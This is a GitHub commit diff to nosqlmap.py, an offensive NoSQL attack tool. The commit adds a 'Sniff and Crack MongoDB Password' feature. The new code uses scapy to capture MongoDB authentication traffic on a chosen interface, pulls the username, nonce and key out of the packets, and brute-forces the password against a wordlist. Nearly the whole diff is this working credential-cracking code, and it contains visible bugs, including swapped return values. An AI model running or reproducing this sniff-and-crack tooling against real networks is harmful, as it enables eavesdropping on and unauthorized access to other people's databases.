Skip to content

Commit d88dd2a

Browse files
committed
Added sniffer cracking
1 parent a9abc88 commit d88dd2a

File tree

1 file changed

+87
-2
lines changed

1 file changed

+87
-2
lines changed

nosqlmap.py

Lines changed: 87 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -31,8 +31,11 @@
3131
import ast
3232
import datetime
3333
import itertools
34+
import re
3435
from hashlib import md5
3536
from threading import Thread
37+
from scapy.all import *
38+
3639

3740
#Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu.
3841
global optionSet
@@ -72,6 +75,7 @@ def mainMenu():
7275
print "2-NoSQL DB Access Attacks"
7376
print "3-NoSQL Web App attacks"
7477
print "4-Scan for Anonymous MongoDB Access"
78+
print "5-Sniff and Crack MongoDB Password"
7579
print "x-Exit"
7680

7781
select = raw_input("Select an option: ")
@@ -103,6 +107,9 @@ def mainMenu():
103107

104108
elif select == "4":
105109
massMongo()
110+
111+
elif select == "5":
112+
sniff_and_brute()
106113

107114
elif select == "x":
108115
sys.exit()
@@ -397,7 +404,6 @@ def netAttacks(target):
397404
print "MongoDB authenticated on " + target + ":27017!"
398405
mgtOpen = True
399406
except:
400-
print str(sys.exc_info())
401407
raw_input("Failed to authenticate. Press enter to continue...")
402408
return
403409

@@ -1724,10 +1730,89 @@ def getDBInfo():
17241730
crackHash = raw_input("Crack another hash (y/n)?")
17251731
raw_input("Press enter to continue...")
17261732
return
1733+
1734+
def sniff_and_brute():
1735+
class sniff_and_brute(object):
1736+
1737+
def get_packets(self, port, iface, count):
1738+
packets = sniff(filter="port "+str(port)+"", count=count, iface=str(iface))
1739+
return packets
1740+
1741+
def parse_packets(self, port, iface, count):
1742+
print "Sniff packages..."
1743+
packets = self.get_packets(port, iface, count)
1744+
print "Parse packages..."
1745+
1746+
for i in xrange(len(packets)):
1747+
if "key" in re.findall(r'[A-Za-z0-9]{3,}', str(packets[i])):
1748+
packet=packets[i]
1749+
break
1750+
1751+
user = re.findall(r'[A-Za-z0-9]{3,}', str(packet))[4]
1752+
nonce = re.findall(r'[A-Za-z0-9]{3,}', str(packet))[6]
1753+
key = re.findall(r'[A-Za-z0-9]{3,}', str(packet))[8]
1754+
return user, nonce, key
1755+
1756+
def gen_pass(self, user, nonce, passw):
1757+
return md5(nonce + user + md5(user + ":mongo:" + str(passw)).hexdigest()).hexdigest();
1758+
1759+
1760+
def brute_pass(self, port, iface, dictionary):
1761+
count = 10 # count of packets which should be sniffed
1762+
nonce, user, key = self.parse_packets(str(port), str(iface), int(count))
1763+
print "Prepair to brute..."
1764+
file = open(dictionary)
1765+
file_len = open(dictionary)
1766+
1767+
for i in xrange(len(file_len.readlines())):
1768+
passw = file.readline().split('\n')[0]
1769+
1770+
if self.gen_pass(user, nonce, passw) == key:
1771+
raw_input("\nFound - "+user+":"+passw)
1772+
break
1773+
exit
1774+
1775+
def test(self):
1776+
self.test1("string")
1777+
def test1(self, string):
1778+
self.string = string
1779+
print string
1780+
1781+
1782+
print "\nSniff and brute mongo password."
1783+
start = raw_input("Prepare to start (Y/N)? ")
1784+
1785+
if start == "y" or start == "Y":
1786+
next = raw_input("Port (default 27017): ")
1787+
if type(next) != int:
1788+
port = 27017
1789+
else:
1790+
port = next
1791+
next = raw_input("Interface to sniff: ")
1792+
if type(next) != str:
1793+
print "Error!"
1794+
exit
1795+
else:
1796+
iface=next
1797+
next= raw_input("Full path to dictionary for brute: ")
1798+
if type(next) != str:
1799+
print "Error!"
1800+
exit
1801+
else:
1802+
dictionary = next
1803+
else:
1804+
exit
1805+
1806+
1807+
start = raw_input("Start? (Y/N)")
1808+
if start == "y" or start == "Y":
1809+
sniff_brute = sniff_and_brute()
1810+
sniff_brute.brute_pass(port, iface, dictionary)
17271811

17281812
def signal_handler(signal, frame):
17291813
print "\n"
17301814
print "CTRL+C detected. Exiting."
17311815
sys.exit()
1816+
17321817
signal.signal(signal.SIGINT, signal_handler)
1733-
mainMenu()
1818+
mainMenu()

0 commit comments

Comments
 (0)